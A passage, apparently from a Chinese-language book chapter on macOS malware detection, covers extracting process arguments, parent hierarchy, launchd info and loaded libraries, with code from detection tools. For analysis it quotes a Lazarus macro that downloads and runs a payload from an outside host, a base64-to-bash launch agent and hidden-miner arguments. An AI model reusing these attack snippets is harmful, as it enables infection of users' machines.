这些参数指示 bash 执行各种 shell 命令,从一个伪装成名为 main.png 的图像文件中提取字节,将其解密为名为 ZQEifWNV2l 的二进制文件,然后执行并删除该二进制文件。尽管 bash 本身并不具备恶意性,但从 .png 文件中程序化地提取加密的可执行内容表明某些可疑活动正在进行;安装程序通常不会执行如此晦涩的混淆操作。我们还对安装程序的行为有了进一步的了解。

另一个具有明显可疑参数的程序是 Chropex,也叫做 ChromeLoader。^(5) 这个恶意软件安装一个启动代理,持久性地执行 Base64 编码的命令。CrowdStrike 的一份报告^(6)展示了一个 Chropex 启动代理的示例,下面是一个摘录:

<key>ProgramArguments</key>
<array>
    <string>sh</string>
    <string>-c</string>
    <string>echo aWYgcHMg ... Zmk= | base64 --decode | bash</string>
</array> 

最后的参数字符串以 echo 开头,包含一个编码的二进制数据块和一个命令,用来解码并通过 bash 执行它。显然,这样的参数非常不寻常,是系统被恶意软件持久感染的迹象。一旦检测程序遇到这个启动代理并提取其非常可疑的参数,该程序应立即触发警报。

如我之前提到的,提取程序的运行时参数可能会为其功能提供一些线索。例如,一个隐藏的加密货币矿工在官方 Mac App Store 中伪装成一个无害的日历应用(Figure 1-1)。

Figure 1-1: 一个无害的日历应用,还是其他什么东西?

为了查看这个应用程序的功能,我们可以检查进程参数。当 Calendar 2 应用程序 CalendarFree.app 被执行时,它会从 Coinstash_XMRSTAK 框架中生成一个嵌入的子程序,名为 xmr-stak,并传入以下参数:

"--currency",
"monero",
"-o",
"pool.graft.hashvault.pro:7777",
"-u",
"G81Jc3KHStAWJjjBGzZKCvEnwCeRZrHkrUKj ... 6ophndAuBKuipjpFiizVVYzeAJ",
"-p",
"qbix:greg@qbix.com",
... 

根据诸如“--currency”和“monero”这样的值,即使是普通读者也应该能够判断出 xmr-stak 是一个加密货币矿工。尽管 xmr-stak 是一个合法的命令行应用程序,但它通过一个托管在苹果 Mac App Store 上的免费日历应用悄然部署,已越过了界限。

注意

在我发布了关于这个应用的详细博客文章后,^(7) 苹果删除了该应用,并更新了 App Store 的条款和条件,明确禁止设备上的挖矿行为。^(8)

最后,提取进程的参数可以帮助你在判断进程可疑并需要进一步分析时。例如,在 2023 年初,我发现了一款与广泛传播的 Genieo 恶意软件家族有关的恶意更新程序,这个程序已经未被发现近五年。^(9) 然而,事实证明,这个名为iWebUpdate的持续更新程序,除非用正确的参数调用(例如更新以及 C=和客户端标识符),否则不会执行其核心逻辑。

这意味着,如果你尝试在调试器中分析 iWebUpdate 二进制文件并执行它而没有预期的参数,它将直接退出。虽然静态分析方法如逆向工程可以揭示这些必需的参数,但从受感染系统上持续运行的更新进程中提取它们要简单得多。

那么,如何提取一个任意进程的参数呢?一种方法是通过调用带有 KERN_PROCARGS2 的 sysctl API。enumerateProcesses 项目在名为 getArguments 的函数中采用了这种方法。给定一个任意的进程 ID,这个函数将提取并返回该进程的参数。这个函数相当复杂,因此我将它分成几个部分来讲解,首先是对 sysctl API 的调用(Listing 1-7)。

int mib[3] = {0};
int systemMaxArgs = 0;

size_t size = sizeof(systemMaxArgs);

mib[0] = CTL_KERN;
mib[1] = KERN_ARGMAX;

❶ sysctl(mib, 2, &systemMaxArgs, &size, NULL, 0);

❷ char* arguments = malloc(systemMaxArgs); 

Listing 1-7: 为进程参数分配缓冲区

这个 API 需要一个输出缓冲区来保存进程参数,因此我们首先通过调用 KERN_ARGMAX 来确定它们的最大大小 ❶。在这里,我们将这些信息指定在一个管理信息基础(MIB)数组中,数组的元素数量也作为参数传递给 sysctl。然后我们分配一个正确大小的缓冲区 ❷。

分配了缓冲区后,我们现在可以重新调用 sysctl API。但首先,我们需要使用诸如 KERN_PROCARGS2 和我们想要获取其参数的进程 ID 等值重新初始化 MIB 数组(示例 1-8)。

size = (size_t)systemMaxArgs;

mib[0] = CTL_KERN;
mib[1] = KERN_PROCARGS2;
mib[2] = processID;

sysctl(mib, 3, arguments, &size, NULL, 0); 

示例 1-8:获取进程的参数

在这个调用之后,缓冲区将包含进程参数等信息。表格 1-1 描述了该缓冲区的结构。

表格 1-1:KER_PROCARGS2 缓冲区的格式

参数数量 进程路径 参数
int argc <进程的完整路径> char* argv[0], argv[1],依此类推

首先,我们可以提取参数的数量(通常称为 argc)。你可以跳过进程路径,直接进入参数的开始位置(通常称为 argv),除非你以其他方式无法获得进程路径。每个参数都是 NULL 终止的,这使得提取过程非常直接。示例 1-9 中的代码展示了如何将每个参数作为字符串对象保存到数组中。注意,参数变量是现在已经填充的缓冲区,该缓冲区传递给了 sysctl API。

int numberOfArgs = 0;
NSMutableArray* extractedArguments = [NSMutableArray array];

❶ memcpy(&numberOfArgs, arguments, sizeof(numberOfArgs));
❷ parser = arguments + sizeof(numberOfArgs);

❸ while(NULL != *++parser);
❹ while(NULL == *++parser);

while(extractedArguments.count < numberOfArgs) {
  ❺ [extractedArguments addObject:[NSString stringWithUTF8String:parser]];
    parser += strlen(parser) + 1;
} 

示例 1-9:解析进程参数

代码首先提取参数的数量(位于参数缓冲区的开始位置)❶。然后跳过这个值❷、路径的字节❸以及任何后续的 NULL 字节❹。现在,解析器指针指向实际参数(argv)的起始位置,代码将逐一提取这些参数❺。值得注意的是,除非进程偷偷修改了自身,argv[0]始终是程序路径。

如果我们执行enumerateProcesses项目,当遇到前述的 xmr-stak 进程(此处显示其进程 ID 为 14026)时,它应该显示以下信息。如果一个毫无察觉的用户启动了CalendarFree.app,该进程会偷偷进行加密货币挖矿:

% **./enumerateProcesses**
...
(14026):/Applications/CalendarFree.app/Contents/Frameworks/
Coinstash_XMRSTAK.framework/Resources/xmr-stak
...
arguments: (
"/Applications/CalendarFree.app/Contents/Frameworks/Coinstash_XMRSTAK.
framework/Resources/xmr-stak",
"--currency",
"monero",
"-o",
"pool.graft.hashvault.pro:3333",
"-u",
"G81Jc3KHStAWJjjBGzZKCvEnwCeRZrHkrUKji9NSDLtJ6Evhhj43DYP7dMrYczz5KYjfw
6ophndAuBKuipjpFiizVVYzeAJ",
"-p",
"qbix:greg@qbix.com",
...
) 

进程启动时带有如此大量的参数是相当不寻常的。此外,这些参数明显暗示该进程是一个加密货币矿工。我们可以通过以下事实进一步加强这个结论:其父进程CalendarFree.app消耗了大量的 CPU 资源,稍后你将在本章看到这一点。

进程层级

进程层级是进程之间的关系(例如,父进程与子进程之间)。在检测恶意软件时,你需要准确地表示这些关系,原因有几个。首先,进程层级可以帮助你检测初始感染。进程层级还可以揭示那些难以检测的恶意软件,它们以不正当的方式利用系统二进制文件。

让我们看一个例子。2019 年,Lazarus 高级持续威胁(APT)组织被发现利用含有宏的 Office 文档攻击 macOS 用户。如果用户打开该文档并允许宏运行,代码将下载并执行名为 Yort 的恶意软件。以下是该攻击中使用的宏的代码片段:

sur = "https://nzssdm.com/assets/mt.dat"
spath = "/tmp/": i = 0

Do
    spath = spath & Chr(Int(Rnd * 26) + 97)
    i = i + 1
Loop Until i > 12
spath = spath

❶ res = system("curl -o " & spath & " " & sur)
❷ res = system("chmod +x " & spath)
❸ res = popen(spath, "r") 

由于宏代码没有被混淆,因此很容易理解。它首先通过 curl ❶ 从 https://nzssdm.com/assets/mt.dat 下载一个文件到 /tmp 目录,然后设置文件的执行权限 ❷,接着执行下载的文件 mt.dat ❸。图 1-2 从进程层级的角度说明了这次攻击。

图 1-2:Lazarus 组攻击的简化进程层级

尽管该图略显简化(省略了分叉并使用了进程 ID 的符号值),但它准确地描述了 curl、chmod 和恶意软件作为 Microsoft Word 的子进程的事实。Word 文档通常会启动 curl 来下载并启动二进制文件吗?当然不会!即使你无法确切知道这些子进程在做什么,但 Office 文档启动它们这一事实是攻击的明显标志。而且,没有进程层级结构,检测到这种感染的这一方面将相对困难,因为 curl 和 chmod 都是合法的系统二进制文件。^(10)

查找父进程

进程层级是从子进程向上构建的,通过父进程、祖父进程等。表面上看,我们可以通过其 kp_eproc 结构中的 e_ppid 成员轻松生成一个给定进程的层级,这个结构可以在 kinfo_proc 结构中找到。以下是这些结构,它们位于 sys/sysctl.h 中:

struct kinfo_proc {
    struct  extern_proc kp_proc;    /* proc structure */
    struct  eproc {
        struct  proc* e_paddr;      /* address of proc */
        ...
        pid_t   e_ppid;             /* parent process id */
        ...
    } kp_eproc;
}; 

e_ppid 是父进程 ID,我们可以通过 sysctl API 提取它,如 enumerateProcesses 项目中的 getParent 函数所示(列表 1-10)。

pid_t parent = -1;

struct kinfo_proc processStruct = {0};
size_t procBufferSize = sizeof(processStruct);

int mib[4] = {CTL_KERN, KERN_PROC, KERN_PROC_PID, processID};

sysctl(mib, 4, &processStruct, &procBufferSize, NULL, 0);
parent = processStruct.kp_eproc.e_ppid; 

列表 1-10:提取父进程的进程 ID

代码首先初始化各种参数,包括一个数组,数组中的值指示系统返回有关指定进程的信息。sysctl API 会响应这个请求,返回一个已填充的 kinfo_proc 结构。然后我们从中提取进程的父进程 ID。

下面是 enumerateProcesses 在遇到由恶意文档启动的 curl 实例时的输出:

% **./enumerateProcesses**
...
(2286):/usr/bin/curl
...
parent: /Applications/Microsoft Word.app/Contents/MacOS/Microsoft Word (2283) 

代码能够轻松识别父进程为 Microsoft Word。

不幸的是,使用这个 e_ppid 值构建的进程层级通常并不那么有用,因为该值通常报告父进程 ID 为 1,这对应于 launchd,负责启动每个进程的进程。为了观察这一行为,可以通过 Spotlight、Finder 或 Dock 启动像计算器这样的应用程序。然后使用 ps 工具并结合 ppid 命令行,将进程 ID 传递给它。你应该看到它的父进程 ID(PPID)实际上是 1:

% **ps aux**
USER     PID  ... COMMAND
Patrick  2726 ... /System/Applications/Calculator.app/Contents/MacOS/Calculator
% **ps aux -o ppid 2726**
USER      PID     ...    PPID
Patrick   27264   ...    1 

enumerateProcesses工具报告了相同的、并不特别有用的信息:

% **./enumerateProcesses**
...
(2726):/System/Applications/Calculator.app/Contents/MacOS/Calculator
...
parent: (1) launchd 

虽然launchd技术上是父进程,但它并没有提供我们需要的信息来检测恶意活动。我们更关心的是负责启动子进程的进程。

返回负责生成另一个进程的进程

为了返回负责生成另一个进程的进程,我们可以利用一个私有的 Apple API,responsibility_get_pid_responsible_for_pid。它接受一个进程 ID 并返回它认为对子进程负责的父进程。尽管这个私有 API 的内部实现超出了本讨论的范围,但它本质上是查询内核,内核在内部进程结构中维护着负责父进程的记录。

由于这不是一个公开 API,我们必须通过 dlsym API 动态解析它。清单 1-11,来自enumerateProcesses项目中的 getResponsibleParent 函数,展示了实现这一任务的代码。

#import <dlfcn.h>

pid_t getResponsibleParent(pid_t child) {
    pid_t (*getRPID)(pid_t pid) =
    dlsym(RTLD_NEXT, "responsibility_get_pid_responsible_for_pid");
    ... 

清单 1-11:动态解析私有函数

这段代码通过名称解析函数,并将结果存储在一个名为 getRPID 的函数指针中。因为这个函数只接受一个 pid_t 类型的参数,并且返回一个 pid_t 类型的负责进程 ID,所以你可以看到该函数指针被声明为 pid_t (*getRPID)(pid_t pid)。

在检查确认确实找到了函数后,我们可以通过函数指针调用它,如清单 1-12 所示。

if(NULL != getRPID) {
    pid_t parent = getRPID(child);
} 

清单 1-12:调用已解析的函数

现在,当enumerateProcesses遇到子进程时,例如 Safari 的 XPC Web 内容渲染器(显示为Safari Web Contentcom.apple.WebKit.WebContent),enumerateProcesses中的代码会查找父进程和负责进程:

% **./enumerateProcesses**
...
(10540)/System/Library/Frameworks/WebKit.framework/Versions/A/
XPCServices/com.apple.WebKit.WebContent.xpc/Contents/MacOS/
com.apple.WebKit.WebContent
...
parent: (1) launchd
responsible parent: (8943) Safari 

它通过检查进程的 e_ppid 来完成前者,通过调用 responsibility_get_pid_responsible_for_pid API 来完成后者。在这种情况下,负责的进程提供了更多的上下文,因此在构建准确的进程层级时更有价值。

不幸的是,对于用户启动的应用程序(这可能包括恶意软件),这个负责父进程可能只是进程本身。要查看这一点,只需通过在 Finder 中双击其应用程序图标来启动计算器应用程序。然后再次运行enumerateProcesses

% **./enumerateProcesses**
...
(2726):/System/Applications/Calculator.app/Contents/MacOS/Calculator
...
parent: (1) launchd
responsible parent: (2726) Calculator 

这个工具并没有提供太有用的信息,它将负责父进程标识为计算器本身。幸运的是,还有一个地方可以找到这些信息,不过我们必须回溯到过去。

使用应用服务 API 检索信息

尽管官方已废弃,Apple 的应用服务 API 在最新版本的 macOS 中仍然有效,并且各种 Apple 守护进程仍在使用它们。ProcessInformationCopyDictionary 应用服务 API 返回一个字典,其中包含大量信息,包括进程的真实父进程。

这个 API 并不是以进程 ID 作为参数,而是以进程序列号(psn)作为参数。进程序列号是进程 ID 的前身。进程序列类型是 ProcessSerialNumber,在 include/MacTypes.h 中定义。要从给定的进程 ID 获取进程序列号,可以使用 GetProcessForPID 函数,参见列表 1-13。

#import <AppKit/AppKit.h>
pid_t pid = <some process id>;

ProcessSerialNumber psn = {kNoProcess, kNoProcess};
GetProcessForPID(pid, &psn);

printf("Process Serial Number (high, low): %d %d\n", psn.highLongOfPSN, psn.lowLongOfPSN); 

列表 1-13:检索进程的序列号

该函数接受一个进程 ID 和一个指向 ProcessSerialNumber 的输出指针,函数会将进程的序列号填充到该指针中。

你可以在 enumerateProcesses 项目中的名为 getASParent 的函数里找到通过序列号获取父进程 ID 的逻辑。列表 1-14 包含了这个函数的代码片段,展示了它如何调用 ProcessInformationCopyDictionary 函数以获取指定进程的信息。

NSDictionary* processInfo = nil;
ProcessSerialNumber psn = {kNoProcess, kNoProcess};

GetProcessForPID(pid, &psn);

processInfo = CFBridgingRelease(ProcessInformationCopyDictionary(&psn,
(UInt32)kProcessDictionaryIncludeAllInformationMask)); 

列表 1-14:获取进程信息字典

需要记住的一点是,返回 CoreFoundation 对象的旧版 API 不使用自动引用计数(ARC)。这意味着必须明确指示运行时如何管理对象,以避免内存泄漏。在这里,这意味着从 ProcessInformationCopyDictionary 调用返回的进程信息字典必须显式释放,通过调用 CFRelease 进行释放,或者桥接到 NSDictionary 对象并通过调用 CFBridgingRelease 释放到 ARC 中。代码选择了后者,因为与 NS* 对象打交道比与旧版 CF* 对象打交道更为简便,且避免了显式释放内存的麻烦。

在我们将 CFDictionaryRef 字典桥接成 NSDictionary 对象后,就可以直接访问其键值对,包括进程的父进程。父进程的进程序列号存储在 ParentPSN 键中。由于其类型为 kCFNumberLongLong(long long),因此必须手动重建进程序列号(参见列表 1-15)。

ProcessSerialNumber ppsn = {kNoProcess, kNoProcess};

ppsn.lowLongOfPSN = [processInfo[@"ParentPSN"] longLongValue] & 0x00000000FFFFFFFFLL;
ppsn.highLongOfPSN = ([processInfo[@"ParentPSN"] longLongValue] >> 32) & 0x00000000FFFFFFFFLL; 

列表 1-15:重建父进程序列号

一旦获取了父进程的进程序列号,就可以通过重新调用 ProcessInformationCopyDictionary API 获取关于父进程的详细信息(这一次,当然是用父进程的进程序列号)。这样可以得到其进程 ID、路径、名称等信息。在这里,我们最关注的是进程 ID,可以在名为 pid 的键中找到。

值得注意的是,获取进程序列号对于系统进程或后台进程来说会失败。生产代码应当考虑这种情况,例如,检查 GetProcessForPID 的返回值,或者检查 ParentPSN 键是否不存在或其值是否为零。此外,应用程序服务 API 不应从后台进程(如守护进程或系统扩展)中调用。

回想一下,当我们启动计算器时,之前讨论的方法未能确定其真正的父进程(而是返回了launchd或其自身)。那么,应用程序服务 API 的方法效果如何呢?首先,让我们回到通过 Finder 启动的计算器实例:

% **./enumerateProcesses**
...
(2726):/System/Applications/Calculator.app/Contents/MacOS/Calculator
...
parent: (1) launchd
responsible parent: (2726) Calculator
application services parent: (21264) Finder 

成功!现在代码能够正确识别 Finder 是启动计算器应用程序的进程。同样,如果通过 Dock 或 Spotlight 搜索栏启动计算器,代码也能识别这些方式。

你可能会好奇,为什么本节讨论了这么多不同的方法来确定进程最有用的父进程。这是因为没有一种方法是万无一失的,所以你通常需要将它们结合起来使用。首先,使用应用程序服务 API 似乎能产生最相关的结果。然而,对 GetProcessForPID 的调用可能会在某些进程中失败。在这种情况下,明智的做法是回退到 responsibility_get_pid_responsible_for_pid。但正如你所见,这有时会返回进程本身作为父进程,这并没有什么帮助。在这种情况下,你可能会想回退到经典的 e_ppid。虽然它通常只会报告父进程是launchd,但在很多其他情况下它也有效。例如,在之前讨论的 Lazarus 攻击中,它正确地将 Word 识别为 curl 的父进程。^(11)

环境信息

现在你知道如何生成真实的进程树了,让我们看看如何收集关于进程环境的信息。你可能熟悉一种方法:使用 launchctl 工具,它有一个 procinfo 命令行选项,可以返回进程的参数、代码签名信息、运行时环境等。虽然我们之前讨论过其他收集这些信息的方法,但 launchctl 可以提供一个额外的来源,并且包括其他方法无法提供的信息。

不幸的是,launchctl 并不是开源的,它的内部机制也没有文档化。在本节中,我们通过逆向工程 procinfo 选项,并在我们自己的工具中重新实现其逻辑,以获取任何进程的信息。你可以在本章的procInfo项目中找到这个开源实现。

注意

本节中的代码灵感来源于 Jonathan Levin 的研究。^(12) 我已根据 macOS 的新版更新了他的方案。

在我们深入研究procInfo项目中的代码之前,让我们先总结一下这个方法:我们必须使用私有的 xpc_pipe_interface_routine 函数调用 launchd 引导管道。通过 ROUTINE_DUMP_PROCESS (0x2c4)以及一个包含目标进程的进程 ID 和共享内存输出缓冲区的 XPC 字典调用此函数,将返回你所需的进程信息。代码首先声明了几个需要用来发出 XPC 查询的变量(列表 1-16)。

xpc_object_t procInfoRequest = NULL;
xpc_object_t sharedMemory = NULL;
xpc_object_t __autoreleasing response = NULL;

int result = 0;
int64_t xpcError = 0;
void* handle = NULL;
uint64_t bytesWritten = 0;
vm_address_t processInfoBuffer = 0;

static int (*xpc_pipe_interface_routine_FP)
❶ (xpc_pipe_t, int, xpc_object_t, xpc_object_t*, int) = NULL;

❷ struct xpc_global_data* globalData = NULL;
❸ size_t processInfoLength = 0x100000; 

列表 1-16:声明所需变量

这些变量包括但不限于:一个函数指针(稍后将保存私有的 xpc_pipe_interface_routine 地址)❶、一个指向全局 XPC 数据结构的指针❷,以及通过逆向 launchctl 提取的长度❸。

然后,我们通过调用 xpc_shmem_create API 创建一个共享内存对象。XPC 调用将填充此对象,包含我们正在查询的目标进程的信息(见列表 1-17)。

vm_allocate(mach_task_self(), &processInfoBuffer,
processInfoLength, VM_FLAGS_ANYWHERE|VM_FLAGS_PURGABLE);

sharedMemory = xpc_shmem_create((void*)processInfoBuffer, processInfoLength); 

列表 1-17:创建共享内存对象

接下来,我们创建并初始化一个 XPC 字典。此字典必须包含我们正在查询的进程的 ID,以及我们刚刚创建的共享内存对象(见列表 1-18)。

pid_t pid = <some process id>;
procInfoRequest = xpc_dictionary_create(NULL, NULL, 0);

xpc_dictionary_set_int64(procInfoRequest, "pid", pid);
xpc_dictionary_set_value(procInfoRequest, "shmem", sharedMemory); 

列表 1-18:初始化 XPC 请求字典

然后,代码从 os_alloc_once_table 数组中检索类型为 xpc_global_data*的全局数据对象(见列表 1-19)。

struct xpc_global_data
{
    uint64_t a;
    uint64_t xpc_flags;
    mach_port_t task_bootstrap_port;
    xpc_object_t xpc_bootstrap_pipe;
};

struct _os_alloc_once_s
{
    long once;
    void* ptr;
};

extern struct _os_alloc_once_s _os_alloc_once_table[];

globalData = (struct xpc_global_data*)_os_alloc_once_table[1].ptr; 

列表 1-19:提取全局数据

该对象包含一个 XPC 管道(xpc_bootstrap_pipe),这是调用 xpc_pipe_interface_routine 函数所必需的。由于这个函数是私有的,我们必须从libxpc库动态解析它(见列表 1-20)。

#import <dlfcn.h>
...
handle = dlopen("/usr/lib/system/libxpc.dylib", RTLD_LAZY);
xpc_pipe_interface_routine_FP = dlsym(handle, "_xpc_pipe_interface_routine"); 

列表 1-20:解析函数指针

最后,我们准备进行 XPC 请求。如前所述,我们使用 xpc_pipe_interface_routine 函数,该函数接受诸如 XPC 引导管道、例程(如 ROUTINE_DUMP_PROCESS)和包含特定例程信息(如进程 ID 和例程输出的共享内存缓冲区)的请求字典等参数(见列表 1-21)。

#define ROUTINE_DUMP_PROCESS 0x2c4

result = xpc_pipe_interface_routine_FP((__bridge xpc_pipe_t)(globalData->xpc_bootstrap_pipe),
ROUTINE_DUMP_PROCESS, procInfoRequest, &response, 0x0); 

列表 1-21:通过 XPC 请求进程信息

如果此请求成功,即结果为零且传递给 xpc_pipe_interface_routine 的响应字典中不包含错误键,那么响应字典将包含一个键值对,键为 bytes-written,其值为写入我们添加到共享内存对象中的分配缓冲区的字节数。我们将在列表 1-22 中提取这个值。

bytesWritten = xpc_dictionary_get_uint64(response, "bytes-written");

列表 1-22:提取响应数据的大小

现在我们可以直接访问缓冲区,例如,创建一个包含目标进程所有信息的字符串对象(见列表 1-23)。

NSString* processInfo = [[NSString alloc] initWithBytes:(const void*)
processInfoBuffer length:bytesWritten encoding:NSUTF8StringEncoding];

printf("process info (pid: %d): %s\n",
atoi(argv[1]), processInfo.description.UTF8String); 

列表 1-23:将进程信息转换为字符串对象

尽管我们已将这些信息转换为字符串对象,但它们都被集中在一起,因此我们仍然需要手动解析相关部分。这个过程在这里没有覆盖,但你可以参考procInfo项目,它将数据提取到一个键值对的字典中。

launchd返回的信息包含了大量有用的细节!为了说明这一点,运行procInfo以获取 DazzleSpy 的持久组件,该组件安装在~/.local/softwareupdate目录下,并且此实例中正以进程 ID 16776 运行:

% **./procInfo 16776**
process info (pid: 16776): {
    active count = 1
    path = /Users/User/Library/LaunchAgents/com.apple.softwareupdate.plist
    state = running

    program = /Users/User/.local/softwareupdate
    arguments = {
        /Users/User/.local/softwareupdate
        1
    }

    inherited environment = {
        SSH_AUTH_SOCK =>
        /private/tmp/com.apple.launchd.kEoOvPmtt1/Listeners
    }

    default environment = {
        PATH => /usr/bin:/bin:/usr/sbin:/sbin
    }
    environment = {
 XPC_SERVICE_NAME => com.apple.softwareupdate
    }

    domain = gui/501 [100005]
    ...
    runs = 1
    pid = 16776
    immediate reason = speculative
    forks = 0
    execs = 1

    spawn type = daemon (3)

    properties = partial import | keepalive | runatload |
    inferred program | system service | exponential throttling
} 

通过单一的 XPC 调用收集的这些进程信息,可以确认从其他来源获得的知识并提供新的细节。例如,如果你查询像 DazzleSpy 这样的启动代理或守护进程,进程信息响应中的路径键将包含负责生成该项的属性列表:

path = /Users/User/Library/LaunchAgents/com.apple.softwareupdate.plist

我们可以通过手动检查报告的属性列表(对于 DazzleSpy,它是 com.apple.softwareupdate.plist)来确认这一事实,并注意到指定的路径确实指向了恶意软件的二进制文件:

<?xml version="1.0" encoding="UTF-8"?>
...
<plist version="1.0">
<dict>
    <key>KeepAlive</key>
    <true/>
    <key>Label</key>
    <string>com.apple.softwareupdate</string>
    <key>ProgramArguments</key>
    <array>
        <string>**/Users/User/.local/softwareupdate**</string>
        <string>1</string>
    </array>
    <key>RunAtLoad</key>
    <true/>
    <key>SuccessfulExit</key>
    <true/>
</dict>
</plist> 

追踪进程 ID 回到触发其生成的启动项属性列表是非常有用的。为什么?嗯,为了实现持久性,大多数恶意软件会将自己安装为启动项。尽管合法软件也会以这种方式持久化,但所有这些启动项都值得检查,因为你有很大的机会在其中发现任何持久安装的恶意软件。

代码签名

简而言之,代码签名可以证明某个项是谁创建的,并验证它没有被篡改。因此,任何试图将正在运行的进程分类为恶意或良性的检测算法都应提取这些代码签名信息。你应该密切检查未签名的进程以及那些临时签名的进程,因为如今,你在 macOS 上运行的大多数合法程序都已经签名并经过公证。

说到有效签名的进程,那些属于知名软件开发商的进程很可能是良性的(供应链攻击除外)。此外,如果是 Apple 正式签署的进程,它就不会是恶意软件(尽管正如我们所见,恶意软件可以利用 Apple 的二进制文件执行恶意操作,就像 Lazarus 团伙使用 curl 下载额外恶意负载的情况一样)。

由于其重要性,整个章节专门讨论代码签名的话题。在第三章中,我们全面讨论了这一话题,应用于正在运行的进程以及磁盘镜像和软件包等项目。

加载的库

在尝试通过分析正在运行的进程来揭示恶意软件时,你还必须枚举任何加载的库。像 ZuRu 这样的隐蔽恶意软件不会生成独立进程,而是被加载到一个被篡改的、但在其他方面仍然合法的进程中。在这种情况下,进程的主要可执行二进制文件是良性的,尽管被修改为引用恶意库以确保它被加载。

即使恶意软件作为独立进程执行,你仍然需要枚举它加载的库,原因如下:

  • 恶意软件可能会加载额外的恶意插件,你很可能需要扫描或分析它们。

  • 恶意软件可能会加载合法的系统库来执行颠覆性操作。这些可以提供恶意软件能力的洞察(例如,它可能会加载用于与麦克风或摄像头接口的系统框架)。

不幸的是,由于 macOS 的安全功能,即使是签名过的、已公证的第三方安全工具也不能直接列举加载的库。幸运的是,我们可以通过使用 macOS 内置工具如 vmmap 以间接的方式做到这一点。这个工具具有几个仅限 Apple 的权限,使其能够读取远程进程的内存,并提供包括所有加载库的映射。

运行 vmmap 针对前述的 ZuRu,该程序是一个恶意版本的流行 iTerm(2)应用。它是一个很好的示例,因为它的恶意逻辑完全由名为libcrypto.2.dylib的动态库实现。我们将使用-w标志执行 vmmap,这样它就会打印出 ZuRu 映射的库的完整路径。该工具需要提供一个进程 ID,因此我们提供了 ZuRu 的 ID(在此为 932):

% **pgrep iTerm2**
932

% **vmmap -w 932**
Process:         iTerm2 [932]
Path:            /Applications/iTerm.app/Contents/MacOS/iTerm2
...
==== Non-writable regions for process 932
REGION     START - END         DETAIL
__TEXT     102b2b000-103247000 /Applications/iTerm.app/Contents/MacOS/iTerm2
__LINKEDIT 103483000-103cb4000 /Applications/iTerm.app/Contents/MacOS/iTerm2
...
__TEXT     10da4d000-10da85000 /Applications/iTerm.app/Contents/Frameworks/libcrypto.2.dylib
__LINKEDIT 10da91000-10dacd000 /Applications/iTerm.app/Contents/Frameworks/libcrypto.2.dylib
... 

在这段简化的输出中,你可以看到二进制文件的主映像(iTerm2),以及动态库,如动态加载器dyld和恶意库libcrypto.2.dylib的映射。

我是如何确定libcrypto.2.dylib是恶意组件的?在注意到是 Jun Bi 而非合法开发者签署了这个版本的 iTerm2 后,我将它加载的库列表与原始应用程序加载的库列表进行了对比。唯一的不同之处就是libcrypto.2.dylib。静态分析确认这个异常的库确实是恶意的。

因为我们没有读取远程进程内存所需的 Apple 私有权限(包括所有加载的库),所以我们将简单地执行 vmmap 并解析其输出。我的一些 Objective-See 工具,如TaskExplorer,^(13)采用了这种方法。你还可以在名为getLibraries的函数中找到实现此过程的代码,该函数位于enumerateProcesses项目中。

首先,我们需要一个能够执行外部二进制文件并返回其输出的辅助函数(列表 1-24)。

#define STDERR @"stdError"
#define STDOUT @"stdOutput"

#define EXIT_CODE @"exitCode"

NSMutableDictionary* execTask(NSString* binaryPath, NSArray* arguments) {
    NSTask* task = nil;
    NSPipe* stdOutPipe = nil;
    NSFileHandle* stdOutReadHandle = nil;
    NSMutableDictionary* results = nil;
    NSMutableData* stdOut = nil;

 results = [NSMutableDictionary dictionary];
    task = [NSTask new];
  ❶ stdOutPipe = [NSPipe pipe];
    stdOutReadHandle = [stdOutPipe fileHandleForReading];
    stdOutData = [NSMutableData data];
  ❷ task.standardOutput = stdOutPipe;
    task.launchPath = binaryPath;

    if(nil != arguments) {
        task.arguments = arguments;
    }

    [task launch];

    while(YES == [task isRunning]) {
      ❸ [stdOutData appendData:[stdOutReadHandle readDataToEndOfFile]];
    }

    [stdOutData appendData:[stdOutReadHandle readDataToEndOfFile]];
    if(0 != stdOutData.length) {
      ❹ results[STDOUT] = stdOutData;
    }

    results[EXIT_CODE] = [NSNumber numberWithInteger:task.terminationStatus];

    return results;
} 

列表 1-24:执行任务并捕获其输出

execTask函数通过苹果的 NSTask API 执行一个任务,使用指定的参数。它会等待直到子任务完成,并返回一个包含多个键值对的字典,其中包括任何由命令生成的输出(输出到标准输出)。为了捕获任务的输出,代码初始化一个管道对象(NSPipe)❶,然后将其设置为任务的标准输出❷。当任务生成输出时,代码从管道的文件句柄❸读取数据并将其附加到数据缓冲区中。一旦任务退出,任何剩余的输出都会被读取,数据缓冲区将被保存到结果字典中,并返回给调用者❹。

函数的调用者,例如 getLibraries,可以通过传递任何二进制文件的路径以及相关参数来调用它。如果需要,我们可以将其输出转换为字符串对象(列表 1-25)。

pid_t pid = <some process id>;

NSMutableDictionary* results = execTask(@"/usr/bin/vmmap", @[@"-w", [[NSNumber
numberWithInt:pid] stringValue]]);

NSString* output = [[NSString alloc] initWithData:results[STDOUT]
encoding:NSUTF8StringEncoding]; 

列表 1-25:将任务输出转换为字符串对象

然后我们可以通过多种方式解析 vmmap 输出,例如逐行解析或使用正则表达式。列表 1-26 展示了一种技术。

NSMutableArray* dylibs = [NSMutableArray array];

for(NSString* line in
[output componentsSeparatedByCharactersInSet:[NSCharacterSet newlineCharacterSet]]) {
    if(YES != [line hasPrefix:@"__TEXT"]) {
        continue;
    }
} 

列表 1-26:解析以 __TEXT 开头的输出行

在这里,我们搜索以 __TEXT 开头的行,因为所有在 vmmap 输出中动态加载的库都以这种类型的内存区域开头。这些数据行还包含已加载库的完整路径,这正是我们想要的。列表 1-27 在列表 1-26 中展示的 for 循环中提取这些路径。

NSRange pathOffset = {0};
NSString* token = @"SM=COW";

pathOffset = [line rangeOfString:token];
if(NSNotFound == pathOffset.location) {
    continue;
}

dylib = [[line substringFromIndex:pathOffset.location+token.length]
stringByTrimmingCharactersInSet:[NSCharacterSet whitespaceCharacterSet]];

if(dylib != nil) {
    [dylibs addObject:dylib];
} 

列表 1-27:提取动态库的路径

代码首先查找写时复制共享模式("SM=COW"),它位于路径之前。如果找到了,接着利用共享模式后面的偏移量提取路径本身。此时,dylibs 数组应该包含目标进程加载的所有动态库。

现在让我们在运行我们之前看到的 ZuRu 实例时执行enumerateProcesses

% **./enumerateProcesses**
...
(932):/Applications/iTerm.app/Contents/MacOS/iTerm2
...
Dynamic libraries for process iTerm2 (932):
(
"/Applications/iTerm.app/Contents/MacOS/iTerm2",
"/usr/lib/dyld",
"/Applications/iTerm.app/Contents/Frameworks/**libcrypto.2.dylib**",
...
) 

